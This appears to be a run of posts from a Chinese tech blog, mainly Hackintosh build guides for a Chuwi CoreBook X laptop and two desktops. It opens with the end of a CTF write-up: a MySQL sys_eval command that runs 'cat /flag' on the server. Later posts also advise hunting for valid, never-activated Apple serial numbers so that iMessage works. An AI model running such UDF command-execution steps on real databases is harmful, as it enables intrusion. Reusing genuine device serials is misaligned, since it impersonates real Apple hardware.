mysql -uroot -h127.0.0.1 -e "select sys_eval('cat /flag');"
成功拿到 flag,少个了 }
,不过无伤大雅。
最近把困扰我几个月的双屏笔记本的触控板黑苹果驱动给解决了,没想到我也是可以改底层驱动的人了,另外 LOLM 也冲到了钻石段位,再加上平时工作任务繁忙,所以博客咕咕咕有一段时间了,准备最近慢慢调整状态,重新记录维护下自己的博客。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>Chuwi 驰为是一个小众品牌,旗下的 CoreBook X 也发布没有多久,国光偶然发现他居然使用的早期 intel 特供给苹果的 i5-8259 CPU,而且屏幕的话和华为的 Matebook X 使用的同款,如果黑果成功的话,简直又是一个黑苹果神机呀,最重要的一点是价格:全新的话 16+512GB 总价不到 3500元,这个价钱要啥自行车。
驰为从 2004 年创立至今,主要产品线经历了从 MP3、MP4、电子书到平板电脑的转变。2014年,驰为选择放弃 OEM 业务,通过跨境电商直接把 “驰为” 这个中国品牌推向海外,驰为这几年成了海外市场上的抢手货,我手上的驰为新出的这个 Corebook X 测评,国光我还是在 YouTube 看国外播主测评的,23333。
整机的颜值还算比较高的,和 MBP 放一起也没有落后很多:
接口的话不多,但对于我这种 MBP 用户来说已经习惯了,拓展坞是必不可少的了。
A、C、D 面均为全金属外壳
默认官方自带一个 DC 充电器,可自己后期更换 PD 充电器
整体颜值偏低调内敛,金属外壳散热也比较不错。
分辨率为 2160x1440
全贴合镜面 IPS 屏幕
3比2 的小众比例
180° 角度开合
HUAWEI 华为 MateBook 14 同款的 Chi Mei 奇美 CMN8C03 (P140ZKA-BZ1)屏幕
屏幕亮度不错,宣称亮度为 300 尼特,实测最大亮度平均亮度为386 尼特
黑白响应时间也是处在平均水平,可与 MateBook X Pro 相媲美
这块屏幕素质的话,根据网上次测评,看了下还算是很棒的,这个价位应该难以找到第二个了。
主要部分的硬件如下:
配置 | 型号 |
---|---|
CPU | intel Core i5-8259U 4 核 8 线程 |
内存 | 金士顿镁光颗粒 DDR4 2400 8GB 内存 |
显卡 | Intel lris Plus 655 高性能锐矩核显 |
SSD | 金士顿 RBUSN8154P3512GJ NVME协议 512GB |
网卡 | intel Dual Band Wireless-AC 7265 |
电源 | 欧标插头(圆头)65W DC 充电器 |
屏幕 | 奇美 CMN8C03 (P140ZKA-BZ1)2160x1440 IPS |
国光我不是专业测评的,所以测试软件可能不专业(娱乐大师),对性能感兴趣的可以看本文最下方的 YouTube 详细的测评。
或者也可以参考看下评论区网友们补充的专业测评:Chuwi CoreBook X Laptop Review: Like a Huawei MateBook, But Cheaper
先说个坏消息:总体来说不是很乐观,很容易触发温控墙降频,LOL 2160x1440 分辨率下极高画质可以 95FPS 以上,但是因为功耗墙的问题,后面降频只能跑到 45FPS 左右了。
但是好消息: BIOS 功能足够强大,理论上可以自己去折腾解锁温控墙,国光这里因为不是专业做测评的,所以这部分不是本期的重点,感兴趣的网友可以自己去折腾看看。
具体的烤机细节大家可以文章下面的 B 站视频里面的详细测试。
价格!价格!还是 TM 的 价格!历史最低 8+512GB 只需要 2549元,就算自己加内存的话,价格也不会超过 3000 元的!
后来找驰为那边官方确定了下情况,这块笔记本的历史低价不是 2549 元,因为商家用了老款的链接,所以这个查价格的 APP 查询的数据并不是真实的历史低价。仔细想一下的确合理,这款笔记本今年8月份国内才开卖,之前的低价确实也对不上。
不过就算不是 2549元,整机来看性价比还算是可以的,虽然小新Pro13 二手价格也就 3k多,但是毕竟小新是二手的价格。再退一步来说,目前来看对于网友们来说又多了一种选择,何乐而不为呢?
因为视频突然火了,所以也受到了驰为那边的关注了,最后和驰为那边争取了下粉丝福利,大家以我的粉丝名义去 「驰为智谷专卖店」购买 Corebook X 的话,可以拿到粉丝 2850元的内购价,自己再价格内存的话,差不多 3k 元左右,16+512GB 这个价钱要啥自行车!!!
理论上电焊技术可以的网友可以自行更换,但是国光我的手比较抖,换个鼠标微动都得换很久,这种高精度的网卡更不敢想了。
想要完美黑苹果的话,得进 BIOS 进行相关设置,国光主要的的 BIOS 设置情况如下:
吐槽一下,这款笔记本的 BIOS 真复杂鸭,这可能是我遇到过最复杂的笔记本 BIOS 了,比我的 Z490 还要复杂,关键还只能设置英文,很多参数我得去谷歌一下。
手上这台笔记本准备出掉了,最后几天再更新一波,这几次的更新感谢 @王刚、@维奇、@Hex.🇨🇳 大佬们的支持。
国光因为设备太多所以已经出掉了手上的这台 Corebook X了,当初买这个笔记本的初心也就是想看下这台笔记本的黑苹果潜力,如今已经完成差不多了而且也也达到了预期,所以这台笔记本在我手上的意义已经不大了。
后续关于 Corebook X 的维护和更新,可以去一些其他大佬的 QQ 群里交流讨论:631070738
截止 2021年08月21日10:35:04 目前还有没有完善的细节如下:
更多详细的驱动情况,可以看下面的「驱动细节」部分。
用罗永浩老师的那句话来说就算:又不是不能用!
BIOS 里面可以手动开启快充:「Advanced」- 「Platform Settings」 -「Charging Method」
写文章目前 (2021年08月14日)为止最新的 OC 0.7.2 引导:
使用了经典的图形化界面:
不(故)小(意)心(的)露出了自己的字节跳动工牌,2333
Recove:苹果的安全恢复模式
Toggle SIP:用于快捷打开或者关闭 SIP 使用
Reset NVRAM:防止奇奇怪怪的情况发生,直接可以重置 NVRAM
序列号就不打马赛克了,反正都是黑苹果,建议大家自己去生成找一个独一无二的的序列号。
Hackintool 概览里面各项指标都识别正常,没有未知的参数,且完全支持 VDA 解码器(可以理解为双硬解):
CPU 高低频正常,CPU 自带的核显 GFX 也可以正常识别,日常使用 50 多℃:
超线程也正常启用:
Geekbench5 单核跑分:1017,多核跑分:3824 分
可能大家不知道这是一个什么概念,参考一下:
可以看到单核跑分,以下犯上超同代 i7 的水平:
多核跑分也中规中矩,可超同代的 i7-8557U :
lris 655 核显正常识别,可正常无花屏手动开启 HiDPi,Type-C 外接 4k 显示器也可以正常 60 刷新率:
Geekbench5 跑分情况:
可以看到 lris 655 核显的水平,大概是国光我台式机 i7-10700 核显的 1.5 倍水平。
另外双硬解也均正常:
这样 Final Cut Pro 下就完美地支持核显加速啦。
USB 定制过,删除了无效的接口,3.0 和 2.0 的速率也均正常:
ALC897 声卡
AppleALC 原生支持,注入 layout-id 为 69 即可正常驱动:
插上耳机也可以正常切换声音输出设备,但是呢双系统下有时候 macOS 下扬声器会没有声音,但是耳机是可以出声的,这目前是 AppleAlc 的已知 BUG,解决方法:
如果还是没有成功的话,那么从 Windows 下关机后,耐心等长一点时间,再进 macOS 应该可以解决问题,这种情况国光我遇到过两次了,貌似从 Windows 下直接重启然后 进 macOS 下容易触发,这个问题也希望后面驱动的完善可以解决吧。
单系统下理论上不会存在这种情况,大家可以把上面这些方法都试试看,由于扬声器无声比较难以复现,国光这里没法详细的测试了。
电池充电状态识别正常,电池容量也识别正常,无电池警告信息:
睡眠正常,深度睡眠的时候电源知识点会忽闪忽闪,支持睡眠唤醒,晚上 12 点睡眠,第二天早上 9 点起床敲键盘可正常唤醒,从电池的用量历史来看,一晚上掉电为 0:
第三方 NVME 硬盘也开启支持了 TRIM 技术:
同时 macOS 下的硬盘速度也正常,跑出了该有的速度:
由于默认分辨率达不到苹果的视网膜显示器的标准,所以需要我们手动开启 HiDPi,详细地开启方法可以看我以前写的这篇文章:HiDPI 是什么?以及黑苹果如何开HiDPI
由于 CoreBook X 的分辨率很冷门小众,为 2160x1440,这种比例下的 HiDPi 国光最终测试使用如下分辨率使用会比较舒服:
1920x1280 1620x1080 1380x920 1080x720
其中在 1620x1080 面积会比较大,但是清晰度不及 1380x920,居然网友们可以根据自己的喜好来。
CPU 的温度可以正常识别,但是风扇转速目前无法识别:
主要交叉使用了:VoodooI2C
和 VoodooPS2Controller
系列 kexts 驱动,实际体验还不错的,可惜就是触控板面积不如 MBP:
由于C orebook X 没有网口,所以需要外接网口拓展坞,国光测试拓展坞接网线上网是正常的,下面直接看无线网卡部分吧。
WiFi 国家地区代码正常为 CN,支持多个频道:
信号强度也正常,和 Windows 下没有啥区别:
蓝牙各项参数也均正常:
虽然日常蓝牙键盘连接使用问题不大,无论 WiFi 开关与否,都可以流畅的打字:
但是 WiFi 和 蓝牙同时开启的情况下,蓝牙耳机这类设备会被干扰比较严重,稳定有效距离不能超过 1 米,否则你的耳机里面的音乐就会一卡一卡的,国光换了几个蓝牙耳机设备,以及更换了不同的 WiFi 测试都是如此,但是如果关掉 WiFi 的话,蓝牙的有效距离就会恢复正常。这个问题感觉是后期应该会随着驱动问题解决,但是此时此刻 2021年08月14日 这类问题依然存在。
国光使用我的 iPad Pro 在有线模式下可以正常使用随航:
但是无线模式下连接会出现超时的情况,这个感觉后期可以解决,关注我的这个Github 项目,后期更新第一时间通知。
因为无线和蓝牙都驱动了,所以目前接力也是正常的,如果你有 iOS 设备的话,此时可以在 macOS 上直接打开手机正在浏览的内容:
隔空投送可以识别到周围自己的设备,但是无法传送文件:
不过可以看到这个界面已经令国光我比较惊讶了,未来随着驱动的完善,说不定 intel 网卡真的就可以使用隔空投送了呢???
写这篇文章的同时,也单独在 B 站投稿了对应的测评视频,主要说明了本次配置的驱动效果情况:
可能是史上最具性价比的黑苹果笔记本!驰为 Corebook X 14
感兴趣的同学可以直接点击上面链接跳转到 B 站视频哦
Github 维护项目的地址:https://github.com/sqlsec/CHUWI-COREBOOK-X-I5-8259U
下载方式 | 下载地址 | 备注 |
---|---|---|
Github | https://github.com/sqlsec/CHUWI-COREBOOK-X-I5-8259U/releases/ | 欢迎点个 star 关注更新动态 |
驰为 Corebook X 14 inch 的主要参数可以完美对应上 MacBookPro15,2
:
所以我们下载 EFI 驱动后,得自己重新刷下的机型 MacBookPro15,2
生成新的序列号,追求完美的话这一步还是很有必要的,完美的序列号可以正常使用 iMessage 等服务哦。
下面以我的台式机为例,简单提一下如何在 macOS 下设置一个自己的机型,首先需要下载 OpenCore Configurator
找到/EFI/OC/config.list
文件,使用「OpenCore Configurator」打开,找到「PlatformInfo-机型平台设置」,然后按照下图操作,现在适合自己的机型,此时就会自动生成一些符合这个机型的序列号,自动填入到配置文件中。
使用 OpenCore Configurator 可能会强制设置 CPU 型号,我们这里不需要这个操作,否则 CPU 会被识别成 i9,需要我们手动将 ProcessorType 改成 0 即可:
修改完成记得保存一下:
因为序列号会影响到 iMessage(短信)的使用,所以要想更接近白苹果的体验的话,得选择一个有效的序列号。苹果官方的序列号查询地址为:
https://checkcoverage.apple.com/cn/zh/
序列号有 3 种级别。
如果提示今日查询次数用完的话,可以换个浏览器查询即可(原理就是改 UA)。
首先最差的就是无效序列号了。
接着就是有效的序列号,但是被人用过了,可能电话技术支持已经到期:
也可能是电话技术支持依然有效的:
但是并没有什么卵用,这表示这个序列号也被使用过了。
最完美的序列号,国光我这里尝试了很久很久终于刷到了一次:
这表示序列号存在而且还没有被激活过,看到这种序列号不要犹豫,赶紧冲!
U 盘安装没有问题的话,需要将 U 盘中的引导放入到硬盘的 ESP 分区中,Windows 下可以使用 Bootice 或者 EasyUEFI 都可以,更多教程大家自行去搜索吧,网上应该很多教程的。
至此黑苹果就全部结束了,学有余力的网友可以去阅读下 OpenCore 文档,读完你就会豁然开朗的。
本文可能实际上也没有啥技术含量,但是从设备购买到驱动研究调试,到文章编写,视频录制前后也经历了 近 2 周的时间,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>大学室友最近换了新的电脑,考虑到要安装黑苹果,所以下面各项硬件都是为了黑苹果选择的,否则只打游戏的话,还是 AMD Yes。本次折腾也经历了一波三折,前前后后包括更换硬件等折腾了 2 个周末,欣慰的是最后功夫不负有心人,最终驱动还算完美,话不多说,驱动详情可见文章细节。
配置 | 型号 | 参考价格(元) |
---|---|---|
CPU | i7-10700 | 1849 |
主板 | 微星 B560M 迫击炮 (MSI MAG-B560M-MORTAR-WIFI) | 849 |
内存 | 威刚XPG 16G 3200频率 * 2 | 940 |
显卡 | 蓝宝石 RX460 4GB 超白金版 + intel UHD 630 | 560 |
SSD | 西数 SN550 1TB * 2 | 1378 |
网卡 | BCM94360CD 四天线版 | 180 |
电源 | 长城G7 750W 金牌全模组 | 549 |
散热 | 雅浚 G5 双风扇 RGB | 230 |
机箱 | 先马易大师 + 航嘉新月机箱风扇 * 5 | 289 |
显示器 | ViewSonic 优派 VX2771-4K-HD | 1424 |
这套目前的参考的总价格为:8248 元
OpenCore 官方建议的 10 代 CPU 架构的 BISO 调整如下:
禁用
DisableIoMapper
为 YES,则可以打开这个选项)开启
MSI 的主板就没有一一截图看 BIOS 如何设置了,需要安装的网友自行参考上面自己一个个去配置,尽量都按照标准设置一般,实在找不到的也没有关系。
写文章目前为止最新的 OC 0.7.2 引导,使用了经典的图形化界面:
最新的 macOS Big Sur 11.5.1:
Hackintool 概览里面各项指标都识别正常,没有未知的参数,切完全支持 VDA 解码器:
CPU 高低频正常,CPU 自带的核显 GFX 也可以正常识别,日常使用50多℃:
Geekbench5 单核跑分:1237,多核跑分:9270 分
可能大家不知道这是一个什么概念,参考一下:
可以看到多核跑分已经超 10 代 i9 了,以下犯上了。
双显卡识别均正常:
完美支持双硬解:
RX460 目前还是很香的,性能核显的 4 倍左右,带 4k 再也不用担心动画卡顿了。
USB 定制过:
但是室友手上没有 Type-C 设备,所以就漏掉了 Type-C 设备,其他的接口都算是完美的了。
ALC897 声卡,AppleALC 原生支持,注入 layout-id 为 69 即可正常驱动:
睡眠正常,支持睡眠唤醒
HWMonitorSMC2 可正常识别各个传感器的稳定已经风扇转速等情况,腾讯柠檬清理转速也正常:
目前板载的 2.5G 有线网卡,默认只能跑到 100baseT ,理论上大家用的都是一个驱动:LucyRTL8125Ethernet.kext
,不过由于我使用的宽带也没有这么快,日常时也没有差别,就是感觉参数上不上很完美,等后期有精力了会更新下 Github 下面,提交新的 release。
比较坑爹的是自带的板载网卡 Intel(R) Wi-Fi 6E AX210 160MHz 恰巧无法被 itlwm 驱动支持,所以目前无解,不过室友不怎么使用 WiFi,后期可以考虑更换免驱的 BCM84360CD 网卡。
后面换的 BCM94360CD 网卡到了,打了对于的 kexts 成功驱动:
免驱卡的蓝牙还是很好驱动的,如果你的 USB 正确映射的话,且打了对应 kexts 的情况下:
蓝牙可以正常连接使用:
写这篇文章的同时,也单独在 B 站投稿了视频,主要说明了本次配置的驱动效果情况:
Blibili - B560M Big Sur下黑苹果的体验怎么样?
感兴趣的同学可以直接点击上面链接跳转到 B 站视频哦
Github 维护项目的地址:https://github.com/sqlsec/MSI-MAG-B560M-MORTAR-i7-10700
下载方式 | 下载地址 | 备注 |
---|---|---|
Github | https://github.com/sqlsec/MSI-MAG-B560M-MORTAR-i7-10700/releases/ | 点个 star 关注更新动态 |
OpenCore 官方建议的机型设置如下:
机型 | CPU型号 |
---|---|
iMac20,1 | i7-10700K 及其以下(8 核及其以下) |
iMac20,2 | i9-10850K(10 核) |
如果都是 10 代的 CPU,使用我这个 EFI 基本上是可以正常使用的,需要调节的地方也不多。提供下载的 EFI 默认用的是同一个 SMBIOS(机型)信息,这样大家的序列号可能都是一样的了,所以需要大家自己去配一个属于自己的机型。
下面简单提一下如何在 macOS 下设置一个自己的机型,首先需要下载 OpenCore Configurator
找到/EFI/OC/config.list
文件,使用「OpenCore Configurator」打开,找到「PlatformInfo-机型平台设置」,然后按照下图操作,现在适合自己的机型,此时就会自动生成一些符合这个机型的序列号,自动填入到配置文件中。
使用 OpenCore Configurator 可能会强制设置 CPU 型号,我们这里不需要这个操作,否则 CPU 会被识别成 i9,需要我们手动将 ProcessorType 改成 0 即可:
修改完成记得保存一下:
因为序列号会影响到 iMessage(短信)的使用,所以要想更接近白苹果的体验的话,得选择一个有效的序列号。苹果官方的序列号查询地址为:
https://checkcoverage.apple.com/cn/zh/
序列号有 3 种级别。
首先最差的就是无效序列号了。
接着就是有效的序列号,但是被人用过了,可能电话技术支持已经到期:
也可能是电话技术支持依然有效的:
但是并没有什么卵用,这表示这个序列号也被使用过了。
最完美的序列号,国光我这里尝试了很久很久终于刷到了一次:
这表示序列号存在而且还没有被激活过,看到这种序列号不要犹豫,赶紧冲!
U 盘安装没有问题的话,需要将 U 盘中的引导放入到硬盘的 ESP 分区中,Windows 下可以使用 Bootice 或者 EasyUEFI 都可以,更多教程大家自行去搜索吧,网上应该很多教程的。
至此黑苹果就全部结束了,学有余力的网友可以去阅读下 OpenCore 文档,读完你就会豁然开朗的。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>之前的主机 9600KF 出了一些问题,详细可参考关于近期的博客的更新升级,然后这台主机被网友预定购买了,所以临走前就来折腾一下这台主机,使用最新的 OC 引导,给他升级到最新的 Big Sur 11.4 试试看,正好可以写文章记录一下就当做留恋吧,同时也可能会帮助到其他类似配置想要黑苹果的网友。
组件 | 型号 |
---|---|
CPU | Intel i5 9600KF 6核6线程 基频 3.7Ghz 睿频 4.6Ghz |
主板 | 技嘉 GIGABYTE B360M DS3H (技嘉事件之前买的) |
内存 | 枭鲸 SEIWHALE DDR4 2666Mhz 16GB *2 = 32GB |
显卡 | 蓝宝石 Sapphire RX550 640SP 4GB Polaris 21 架构 可开核版本 |
硬盘 | 海康威视 C16 512GB SATA SSD + 铠侠 TC10 512GB SATA SSD |
网卡 | Fenvi T919 BCM94360CD 4 天线版本 |
电源 | 海盗船 VS550 额定 550W 电源 |
散热 | 九州风神冰凌 MiNi + 日食风扇 * 2 |
机箱 | TT 开拓者 M3 小机箱 |
这套配置目前卖给了网友,他总共花了 3457 元,国光自认为感觉性价比还算是不错的,希望这台主机日后可以成为他强有力的生产力工具。
整机比较偏实用党类,小机箱虽然很简约但是散热很好,缺点是以前跑 RX580 2304SP 满载有噪音,但是如今跑 RX550 基本上不用担心噪音问题了。
技嘉的 B360M DS3H 本次使用 OpenCore 0.7.1安装 Big Sur 黑苹果主要的 BIOS 设置如下:
使用了最新的 OpenCore 0.7.1,理论上就算我的网友是小白的话,这个版本的 OC 升级到 macOS 12.0 都没有太大问题:
使用了 OpenCanopy.efi 加载外置主题,使用的是官方推荐的简约的 Acidanthera/GoldenGate 主题:
SMBIOS 机型修改的是 iMacPro1,1:
CPU、显卡、内存啥的都很好的识别了
因为 i5 9600KF 没有核显的原因,所以 Hackintool 里面的架构识别有些问题:
不过这并无伤大雅,因为我的网友是做开发的,所以目前系统的驱动程度开发绰绰有余了,性能应该可以完爆 MBP16
寸。
i5-9600KF 跑分单核 1033 分,多核 5088 分:
可以参考一下参考一下:Geekbench5 历届 Mac 跑分情况
RX550 4GB 跑分 OpenCL 12819分,Metal 跑分 13252 分,这个性能大概是 UHD630 核显的 2.5 倍吧,实际上这个卡打打 LOL、CS Go 的话,性能绰绰有余了。
CPU 变频正常,虽然无核显,但是呢日常使用基本上都在 50℃ 以下:
SMBIOS 机型改为 iMacPro 1,1 的话,RX550 可以开启显卡双硬解:
强烈建议网友换一个 4K IPS 显示器,RX550 日常使用带 4K 性能也绰绰有余了,这样可以在 macOS 下开启原生的 HiDPi,观感和白苹果没有多大差别了:
UBS 所有的 3.0 和 2.0 接口都定制过:
但是呢这个主板定制有些问题:USB3.0 设备不能向下兼容 USB2.0 设备,所以鼠标键盘这类 USB2.0 设备只能插 USB2.0 的口,不过问题不大,用罗老师的经典名言来说就是:“又不是不能用”。
如果有网友看到这个问题,知道解决方法的话,欢迎评论区留言补充,国光我看到好会同步更新到这篇文章中的,这样可以帮助到更多的朋友。
板载的 Realtek ALC887 声卡也是 AppleALC 原生支持的,所以只需要注入 alcid=5 即可成功原生驱动:
因为把无线网卡的 USB 内建了,睡眠也都是正常的,可以正常唤醒,录制了个视频,感兴趣的朋友可以看这个视频:
Fenvi T919 4天线版本不亏是黑苹果顶级免驱网卡,日常使用速率都可以跑到蛮高的水平:
无线和蓝牙使用都蛮这正常的,蓝牙耳机测试了稳定性还算不错。详细的 WiFi 参数如下:
因为 WiFi 和蓝牙驱动都蛮正常的,所以接力 Handoff 也是可以正常使用的:
这样如果手上有其他的 iOS、iPadOS 设备的话,基本上可以很好的交互了。
既然接力都可以正常使用了,所以隔空投送的话也没有多大的问题。不得不说 Big Sur 的这个菜单栏的颜值还是很高的:
隔空投送可以正常其他的设备,这样日常文件共享就方便很多了:
帮网友搞的序列号是顶级序列号,有效且没有被激活过的:
既然序列号有效的话,所以日常 iMessage 短信发送和接受也都是正常的:
iStat Menus 可以看到 RX550 显卡的各项参数:
使用腾讯的柠檬清理也可以正常看到 CPU 的温度以及风扇转速的情况:
无核显的 CPU 无法正常使用随航,虽然可以使用无线和有线连接随航,但是呢随航需要核心解码,所以我这边测试随航在 iPad 下是黑屏的状态。
另外,Final Cut Pro 剪辑 4k 的时候没有核显加速,所以还是蛮吃 CPU 性能的,有核显的话剪辑应该会更流畅一点:
不过还好网友是一个开发党,所以日常开发并不会有感知到这些问题,而且打游戏的话 也安装了 Win10 双系统,开发累了打个 LOL 、CS Go 也挺美滋滋的。
本次主机所使用的驱动都放在了之前维护的项目里面了:
https://github.com/sqlsec/B360M-DS3H-I5-9600KF-RX580-CLOVER
在 release 里面找到最新发布的 macOS Big Sur 11.4 + OpenCore 0.7.1 即可下载驱动了。
这台驱动下载完记得自己改下三码信息。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
]]>黑苹果这块本不打算再碰的,但是今年 5 月份我上一个台式机出了问题,由于比较坑爹,三言两语说不完,感兴趣的话,详细可看我的这篇文章:关于近期的博客的更新升级,所以攒新的台式机的同时,黑苹果就得带着折腾一下,顺便输出一篇文章,记录的同时也可以帮助到需要的网友。
使用 macOS 查找功能发现历史上国光我居然用了这么多 macOS 设备了,感慨万分:
从最早的虚拟机安装 macOS 10.10,到第一台游戏本安装 macOS 10.11 以来,一路升级到 macOS 11.0 Big Sur,黑苹果历史已经将近 5 年了,从一开始的淘宝找别人装机的小白,到自己慢慢调试配置文件,到现在自己从 0 开始定制驱动文件,期间自己也成长了很多,写了一些记录文章,也做了一些教程视频,手里也经手过好多设备,本着黑苹果的分享精神,本篇文章就这么诞生了。
下面整理一些想要入门黑苹果的网友们可能比较关心的问题。
国光认为台式机因为硬件比较灵活的原因,驱动要比笔记本更简单也更完美,笔记本黑苹果可以现在一些大神维护的设备来进行黑苹果,比如去年大火的「联想小新 13 Pro」,这样可以少走笔记本黑苹果也可以少走一些弯路,而且完美度也不会差。
国光我后面也入手了白苹果,从 MBP15 到 MBP 16 都用过,总的来说体验很接近。
笔记本方面:小新13 Pro 这种完美驱动的笔记本的话和白苹果使用差别不大,缺陷就是笔记本大多数触控板没有白苹果那么舒服,屏幕观感差一些,其他系统使用方面基本上没有啥区别。
台式机方面:黑苹果台式机性能释放可以完爆 MBP,所以台式机应该对标 iMac 了。系统体验基本上和 iMac 没有差别,配一台 4K IPS 显示器的话,生产力神器鸭。
目前生产力还是推荐大家使用 intel 的 CPU,虽然 intel 的牙膏厂外号名不虚传,但是 iMac、MBP 官方使用的是 intel 的 CPU,而且推荐大家使用带核显的 intel CPU。目前 AMD CPU 虽然也可以黑苹果,但是生产力方面还是会出一些兼容问题的,如果选择了 AMD 黑苹果,那么后期缝缝补补是必不可少的。
早期接触黑苹果的时候,当初还有叫做变色龙的引导,不过后面已经被淘汰了。目前 Clover 也注定会像变色龙一样即将成为历史,所以目前黑苹果主流的趋势是使用 OpenCore 引导,因为 OpenCore 社区更活跃,官方文档也比较规范,体验上也更加接近白苹果。
目前 OpenCore 官方实际上也总结了很多,比国光我说的要详细很多,详细可以参考:Hardware Limitations | OpenCore Install Guide,配合 Chrome 翻译基本上很容易理解的。
下面推荐一些常用的黑苹果网站吧:
网站 | 备注 |
---|---|
黑果小兵的部落阁 | 国内黑苹果前辈大佬,经常分享一些镜像和教程 |
远景论坛 | 国内活跃的黑苹果论坛,也可以找到一些不错的资源 |
威锋论坛:Mac x86 黑苹果 | 更新频率比远景差一点,但是对外开放 |
OpenCore 指导手册 | OpenCore 比较详细教程 |
tonymacx86 | 国外老牌的黑苹果论坛 |
其他学习网站 | B站、知乎、什么值得买…… |
2021 年中,对黑苹果来说并不是很友好,主要有几下原因:
“山重水复疑无路,柳暗花明又一村” 当然好消息还是有的,国光大概列举了如下:
台式机黑苹果主要看 CPU,主板只是为了方便黑苹果驱动配置,比如有的主板可以直接关闭 CFG 这样黑起来更简单一些,其他配置如内存、SSD (三星PM981 除外)之类的基本上不会有太大的问题,可以随便选择。
配置 | 型号 | 参考价格(元) |
---|---|---|
CPU | i7-10700 | 1760 |
主板 | 华擎 AsRock Z490 Steel Legend 钢铁传奇 | 1249 |
内存 | 阿斯加特 Asgaed 洛极 T2 DDR4 2666频率 * 2 | 900 |
显卡 | 蓝宝石 RX460 4GB 白金版 + intel UHD 630 | 500 |
SSD | 西数 SN550 500GB + 海康威视 C2000 Pro 512GB | 888 |
HDD | 希捷 ST2000DM006 7200转 2TB PMR * 2 | 530 |
电源 | 海盗船 VS650 额定 650W | 379 |
散热 | 雅浚 G5 双风扇 RGB | 199 |
机箱 | 乔思伯 U4 白色侧透机箱 + 航嘉GX122 炫彩风扇 * 2 | 300 |
网卡 | BCM94360CD 四天线版本 | 270 |
显示器 | AOC U2790PQU 4K IPS 可升降旋转 | 1800 |
这套目前的参考总价格为:8775 元
当然因为有些硬件我是用的之前台式机的:内存、HDD 等,另外还有些显卡等设备可以去咸鱼淘一个,这样可以大大降低预算。
最后再卖掉之前主机的情况下,国光我算了下,相当于这套设备除去显示器的话,最终只花费了 800 多元,如果极限压缩预算,换更差的机箱和散热,电源低一点,少买一个 SSD,不要独显的话,估计之前卖掉主机的钱还可以剩一点 2333333333
选 i7-10700 是因为根据 CPU 天梯图性能可打上一代 i9-9900 了,因为后面黑苹果的系统版本需要随航之类的,所以选择带核显的 CPU 是很有必要的,综合以上元素考虑了使用 i7-10700 CPU
主板选择了华擎 AsRock 的,因为看了网上很多都使用了华擎的主板,实际配置起来确实很方便,黑苹果没有遇到啥坑,都蛮顺利的,因为这个主板是 Z490 系列的,预算充足的话还可以考虑上 i7-10700K 系列的 CPU 来超频使用。
2019 年末内存很便宜,当初买的两条阿斯加特 Asgaed 洛极 T2 DDR4 2666频率 ,32GB 内存日常工作娱乐绝对足够了,另外这个内存超频潜力也还可以,可以轻松超到 3066 频率,不过今年看了下内存价格都不是很便宜,大家根据自身情况来选择。
I7-10700 自带的 UHD630 核显,除了了有时候动画掉帧以外(白苹果的核显也掉帧 通病),日常办公体验也还可以。
独显这块选择了蓝宝石 RX550 4GB显卡,如今显卡溢价严重,RX550 4GB 日常带 4k 显示器工作也绰绰有余了(不玩游戏的话)。
关于 RX550 这块有一个坑点:蓝宝石 Pulse RX550 640SP也是少数能驱动的 RX550,因为它是Polaris 核心,其它品牌的 RX550 则是 Lexa 核心,无法黑苹果免驱。
当然如果预算充足的话,可以上 RX5500/5600/5700XT,土豪的话可以上 RX6800/XT、RX6900XT,RX570 RX580 如今挖矿都应该二进宫了,不建议大家买了,溢价也很严重。
macOS Big Sur 11.4 版本开始原生支持免驱 RX6800/XT、RX6900XT,注:RX6700XT 暂不免驱,也可能永远不免驱了,虽然他性价比很高。
SATA 的 SSD 和正常的机械正常选购,基本上都没问题的。机械建议选择 PMR 垂直硬盘,避开 SMR 叠瓦硬盘。三星的 NVME SSD 硬盘:PM981、PM981A、970 Evo Plus 这些硬盘需要折腾,不建议大家使用。
因为国光我相信矿难迟到会到来,所以电源选择了 650W 电源,也方便后面加性能强些的独显。散热的话选择的网上评价还不错的雅浚 G5 ,不考虑颜值的话上 雅浚 G3 压 i7-10700 应该也足够了。另外因为 macOS 下在 4k 分辨率的显示器下默认是可以开启 HiDPi 的,黑苹果体验和白苹果几乎没差,所以选购一个 IPS 4K 显示器还是很有必要的。
OpenCore 官方建议的 10 代 CPU 架构的 BISO 调整如下:
禁用
DisableIoMapper
为 YES,则可以打开这个选项)开启
实际上国光我的「华擎 AsRock Z490 Steel Legend 钢铁传奇」主板 BISO 主要调整如下:
手里两条:「阿斯加特 Asgaed 洛极 T2 DDR4 2666频率」,本以为出厂即灰烬,没想到超频尝试了下,可以稳定超到 3066 频率,这样性能体验又提升了一级:
超内存是可选操作,小白可以跳过这一小节,超内存主要调节的 BIOS 如下:
